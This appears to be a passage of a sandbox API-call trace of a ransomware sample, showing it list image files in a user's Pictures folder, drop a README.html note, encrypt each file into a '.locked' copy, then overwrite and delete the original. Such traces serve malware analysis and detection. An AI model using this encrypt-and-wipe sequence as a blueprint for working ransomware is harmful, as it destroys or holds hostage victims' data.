	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17693280, ftCreationTime.dwHighDateTime=0x1d4cffe, ftLastAccessTime.dwLowDateTime=0x77fcf4c0, ftLastAccessTime.dwHighDateTime=0x1d4c99a, ftLastWriteTime.dwLowDateTime=0x77fcf4c0, ftLastWriteTime.dwHighDateTime=0x1d4c99a, nFileSizeHigh=0x0, nFileSizeLow=0x5f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="cAsGHn0bAlw9fl2J6K.jpg", cAlternateFileName="CASGHN~1.JPG")) returned 1
	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab21f20, ftCreationTime.dwHighDateTime=0x1d4c9c0, ftLastAccessTime.dwLowDateTime=0x8d950060, ftLastAccessTime.dwHighDateTime=0x1d4c8e7, ftLastWriteTime.dwLowDateTime=0x8d950060, ftLastWriteTime.dwHighDateTime=0x1d4c8e7, nFileSizeHigh=0x0, nFileSizeLow=0x10ef9, dwReserved0=0x0, dwReserved1=0x0, cFileName="HaIDB7df_KEDqx-Mz.png", cAlternateFileName="HAIDB7~1.PNG")) returned 1
	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970aa260, ftCreationTime.dwHighDateTime=0x1d4ce02, ftLastAccessTime.dwLowDateTime=0x50dc5ce0, ftLastAccessTime.dwHighDateTime=0x1d4ced2, ftLastWriteTime.dwLowDateTime=0x50dc5ce0, ftLastWriteTime.dwHighDateTime=0x1d4ced2, nFileSizeHigh=0x0, nFileSizeLow=0xfb32, dwReserved0=0x0, dwReserved1=0x0, cFileName="I z4x m24CvR.png", cAlternateFileName="IZ4XM2~1.PNG")) returned 1
	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f77c060, ftCreationTime.dwHighDateTime=0x1d4cab2, ftLastAccessTime.dwLowDateTime=0xc57ff270, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0xc57ff270, ftLastWriteTime.dwHighDateTime=0x1d4d353, nFileSizeHigh=0x0, nFileSizeLow=0xf715, dwReserved0=0x0, dwReserved1=0x0, cFileName="JACz.png", cAlternateFileName="")) returned 1
	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5245300, ftCreationTime.dwHighDateTime=0x1d4ce25, ftLastAccessTime.dwLowDateTime=0x5024a270, ftLastAccessTime.dwHighDateTime=0x1d4d13f, ftLastWriteTime.dwLowDateTime=0x5024a270, ftLastWriteTime.dwHighDateTime=0x1d4d13f, nFileSizeHigh=0x0, nFileSizeLow=0xbef9, dwReserved0=0x0, dwReserved1=0x0, cFileName="JMnIuomaZSTsbg88vc.jpg", cAlternateFileName="JMNIUO~1.JPG")) returned 1
	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6da51630, ftCreationTime.dwHighDateTime=0x1d4c74a, ftLastAccessTime.dwLowDateTime=0x25f01ab0, ftLastAccessTime.dwHighDateTime=0x1d4d2d0, ftLastWriteTime.dwLowDateTime=0x25f01ab0, ftLastWriteTime.dwHighDateTime=0x1d4d2d0, nFileSizeHigh=0x0, nFileSizeLow=0x1def, dwReserved0=0x0, dwReserved1=0x0, cFileName="JYg6TnEulkyn.png", cAlternateFileName="JYG6TN~1.PNG")) returned 1
	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb05ced90, ftCreationTime.dwHighDateTime=0x1d4d3f7, ftLastAccessTime.dwLowDateTime=0x37fb0690, ftLastAccessTime.dwHighDateTime=0x1d4c81a, ftLastWriteTime.dwLowDateTime=0x37fb0690, ftLastWriteTime.dwHighDateTime=0x1d4c81a, nFileSizeHigh=0x0, nFileSizeLow=0x3965, dwReserved0=0x0, dwReserved1=0x0, cFileName="mX0ndxYpL.jpg", cAlternateFileName="MX0NDX~1.JPG")) returned 1
	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230b0ca0, ftCreationTime.dwHighDateTime=0x1d4c71e, ftLastAccessTime.dwLowDateTime=0xd40c5470, ftLastAccessTime.dwHighDateTime=0x1d4cd07, ftLastWriteTime.dwLowDateTime=0xd40c5470, ftLastWriteTime.dwHighDateTime=0x1d4cd07, nFileSizeHigh=0x0, nFileSizeLow=0x12b8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RnrwSfV32mxi0.png", cAlternateFileName="RNRWSF~1.PNG")) returned 1
	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97133a20, ftCreationTime.dwHighDateTime=0x1d4ccdf, ftLastAccessTime.dwLowDateTime=0xfc385830, ftLastAccessTime.dwHighDateTime=0x1d4c998, ftLastWriteTime.dwLowDateTime=0xfc385830, ftLastWriteTime.dwHighDateTime=0x1d4c998, nFileSizeHigh=0x0, nFileSizeLow=0x9442, dwReserved0=0x0, dwReserved1=0x0, cFileName="yx0AE_1nlAbd-.png", cAlternateFileName="YX0AE_~1.PNG")) returned 1
	[0079.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0079.049] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0079.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.050] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0079.050] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0079.052] CloseHandle (hObject=0xc0) returned 1
	[0079.052] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x5f, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee84c*=0x5f) returned 1
	[0079.054] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\-Dn8KWxKVX8iZ-F.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\-dn8kwxkvx8iz-f.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc5f8 | out: lpFileInformation=0x123fc5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2abd7770, ftCreationTime.dwHighDateTime=0x1d4cc10, ftLastAccessTime.dwLowDateTime=0x321eebe0, ftLastAccessTime.dwHighDateTime=0x1d4d29e, ftLastWriteTime.dwLowDateTime=0x321eebe0, ftLastWriteTime.dwHighDateTime=0x1d4d29e, nFileSizeHigh=0x0, nFileSizeLow=0x12aa0)) returned 1
	[0079.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\-Dn8KWxKVX8iZ-F.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\-dn8kwxkvx8iz-f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.054] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\-Dn8KWxKVX8iZ-F.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\-dn8kwxkvx8iz-f.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.054] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.055] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c540 | out: pbBuffer=0x1238c540) returned 1
	[0079.055] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a82a0 | out: pbBuffer=0x127a82a0) returned 1
	[0079.055] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.055] WriteFile (in: hFile=0xc4, lpBuffer=0x123e9000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x123e9000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0079.058] SetEvent (hEvent=0xb4) returned 1
	[0079.058] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x12aa0, lpOverlapped=0x0) returned 1
	[0079.060] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x12aa0, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x12aa0, lpOverlapped=0x0) returned 1
	[0079.062] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0079.062] CloseHandle (hObject=0xc4) returned 1
	[0079.062] CloseHandle (hObject=0xc0) returned 1
	[0079.063] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.063] SetEvent (hEvent=0xb4) returned 1
	[0079.063] SetEvent (hEvent=0x80) returned 1
	[0079.063] SetEvent (hEvent=0x78) returned 1
	[0079.063] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.063] SetEvent (hEvent=0xa8) returned 1
	[0079.064] SetEvent (hEvent=0x78) returned 1
	[0079.064] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5d) returned 1
	[0079.065] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\-Dn8KWxKVX8iZ-F.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\-dn8kwxkvx8iz-f.gif")) returned 1
	[0079.085] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.085] SetEvent (hEvent=0xa8) returned 1
	[0079.085] SetEvent (hEvent=0x80) returned 1
	[0079.089] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.089] SetEvent (hEvent=0x80) returned 1
	[0079.089] SetEvent (hEvent=0x78) returned 1
	[0079.090] SetEvent (hEvent=0xb4) returned 1
	[0079.090] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.090] SetEvent (hEvent=0xb4) returned 1
	[0079.091] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.092] SetEvent (hEvent=0xb4) returned 1
	[0079.092] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.092] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.092] SetEvent (hEvent=0xb4) returned 1
	[0079.092] SetEvent (hEvent=0x78) returned 1
	[0079.092] SetEvent (hEvent=0x80) returned 1
	[0079.092] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.093] SetEvent (hEvent=0x80) returned 1
	[0079.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\-Dn8KWxKVX8iZ-F.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\-dn8kwxkvx8iz-f.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.094] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0079.094] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.161] CloseHandle (hObject=0xc0) returned 1
	[0079.161] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\-Dn8KWxKVX8iZ-F.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\-dn8kwxkvx8iz-f.gif")) returned 1
	[0079.165] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\4UPKWVH4szydFvS.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\4upkwvh4szydfvs.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa157cab0, ftCreationTime.dwHighDateTime=0x1d4ccb1, ftLastAccessTime.dwLowDateTime=0x6741fc90, ftLastAccessTime.dwHighDateTime=0x1d4ca4c, ftLastWriteTime.dwLowDateTime=0x6741fc90, ftLastWriteTime.dwHighDateTime=0x1d4ca4c, nFileSizeHigh=0x0, nFileSizeLow=0x14dd9)) returned 1
	[0079.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\4UPKWVH4szydFvS.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\4upkwvh4szydfvs.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.165] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\4UPKWVH4szydFvS.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\4upkwvh4szydfvs.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.169] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.171] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4e0 | out: pbBuffer=0x1238c4e0) returned 1
	[0079.171] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0079.171] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.171] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0079.173] SetEvent (hEvent=0x78) returned 1
	[0079.173] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x14dd9, lpOverlapped=0x0) returned 1
	[0079.175] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x14dd9, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x14dd9, lpOverlapped=0x0) returned 1
	[0079.177] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0079.177] CloseHandle (hObject=0xc4) returned 1
	[0079.177] CloseHandle (hObject=0xc0) returned 1
	[0079.177] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.178] SetEvent (hEvent=0x78) returned 1
	[0079.178] SetEvent (hEvent=0x80) returned 1
	[0079.178] SetEvent (hEvent=0xb4) returned 1
	[0079.179] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.179] SetEvent (hEvent=0xa8) returned 1
	[0079.179] SetEvent (hEvent=0xb4) returned 1
	[0079.179] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123f2000*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123f2000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5d) returned 1
	[0079.181] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\4UPKWVH4szydFvS.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\4upkwvh4szydfvs.gif")) returned 1
	[0079.199] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.199] SetEvent (hEvent=0xa8) returned 1
	[0079.199] SetEvent (hEvent=0x80) returned 1
	[0079.203] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.203] SetEvent (hEvent=0x80) returned 1
	[0079.203] SetEvent (hEvent=0xb4) returned 1
	[0079.204] SetEvent (hEvent=0x78) returned 1
	[0079.204] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.204] SetEvent (hEvent=0x78) returned 1
	[0079.205] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.206] SetEvent (hEvent=0x78) returned 1
	[0079.206] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.206] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.206] SetEvent (hEvent=0x78) returned 1
	[0079.206] SetEvent (hEvent=0xb4) returned 1
	[0079.206] SetEvent (hEvent=0x80) returned 1
	[0079.206] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.207] SetEvent (hEvent=0x80) returned 1
	[0079.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\4UPKWVH4szydFvS.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\4upkwvh4szydfvs.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.208] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0079.208] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.226] CloseHandle (hObject=0xc0) returned 1
	[0079.226] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\4UPKWVH4szydFvS.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\4upkwvh4szydfvs.gif")) returned 1
	[0079.230] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\HaIDB7df_KEDqx-Mz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\haidb7df_kedqx-mz.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ab21f20, ftCreationTime.dwHighDateTime=0x1d4c9c0, ftLastAccessTime.dwLowDateTime=0x8d950060, ftLastAccessTime.dwHighDateTime=0x1d4c8e7, ftLastWriteTime.dwLowDateTime=0x8d950060, ftLastWriteTime.dwHighDateTime=0x1d4c8e7, nFileSizeHigh=0x0, nFileSizeLow=0x10ef9)) returned 1
	[0079.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\HaIDB7df_KEDqx-Mz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\haidb7df_kedqx-mz.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.230] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\HaIDB7df_KEDqx-Mz.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\haidb7df_kedqx-mz.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.231] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0079.231] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4e0 | out: pbBuffer=0x1238c4e0) returned 1
	[0079.231] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0079.231] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.231] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0079.233] SetEvent (hEvent=0xb4) returned 1
	[0079.233] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x10ef9, lpOverlapped=0x0) returned 1
	[0079.235] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x10ef9, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x10ef9, lpOverlapped=0x0) returned 1
	[0079.236] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0079.236] CloseHandle (hObject=0xc4) returned 1
	[0079.237] CloseHandle (hObject=0xc0) returned 1
	[0079.237] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.237] SetEvent (hEvent=0xb4) returned 1
	[0079.237] SetEvent (hEvent=0x80) returned 1
	[0079.237] SetEvent (hEvent=0x78) returned 1
	[0079.237] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.238] SetEvent (hEvent=0xa8) returned 1
	[0079.238] SetEvent (hEvent=0x78) returned 1
	[0079.238] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x126f4000*, nNumberOfCharsToWrite=0x5f, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x126f4000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5f) returned 1
	[0079.240] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\HaIDB7df_KEDqx-Mz.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\haidb7df_kedqx-mz.png")) returned 1
	[0079.257] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.258] SetEvent (hEvent=0xa8) returned 1
	[0079.258] SetEvent (hEvent=0x80) returned 1
	[0079.262] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.262] SetEvent (hEvent=0x80) returned 1
	[0079.262] SetEvent (hEvent=0x78) returned 1
	[0079.262] SetEvent (hEvent=0xb4) returned 1
	[0079.262] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
